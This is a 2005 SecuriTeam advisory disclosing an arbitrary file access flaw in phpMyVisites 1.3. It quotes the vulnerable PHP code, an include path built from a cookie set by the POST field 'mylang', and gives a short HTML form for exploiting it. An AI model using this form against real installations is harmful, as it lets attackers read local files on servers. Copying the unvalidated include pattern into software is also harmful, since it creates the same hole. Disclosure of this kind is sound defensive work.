[UNIX] phpMyVisites Arbitrary File Access

From: SecuriTeam (support_at_securiteam.com)
Date: 04/27/05

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    To: list@securiteam.com
    Date: 27 Apr 2005 17:30:46 +0200
    
    

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      phpMyVisites Arbitrary File Access
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phpmyvisites.net/> phpMyVisites is a free and powerful open
    source application for websites statistics and audience measurements."

    Due flaws in user data validation, a remote user can retrieve locally
    stored files on the system phpMyVisites is running on.

    DETAILS

    Vulnerable Systems:
     * phpMyVisites version 1.3

    Vulnerable code in file include/set_lang.php line 94:
    include "./langs/".$lang['default_lang'];

    assuming, $lang['default_lang'] was set on line 66:
    $lang['default_lang'] = $_COOKIE[$nomcookielg];

    line 40:
    setcookie($nomcookielg, $_POST['mylang'], time()+3600*24*365*10);

    Now, its possible to spoof the value of $_POST['mylang'] and point it to
    any file we desire.

    Exploit:
    The following HTML code can be used to test the installation of
    phpMyVisites for the vulnerability:
    < form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
        Local file: < input type="text" name="mylang" value="" />
        < input type="submit" value="Alexx says RELAX!">
    </form>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:max@czerny.cz> Max Cerny.

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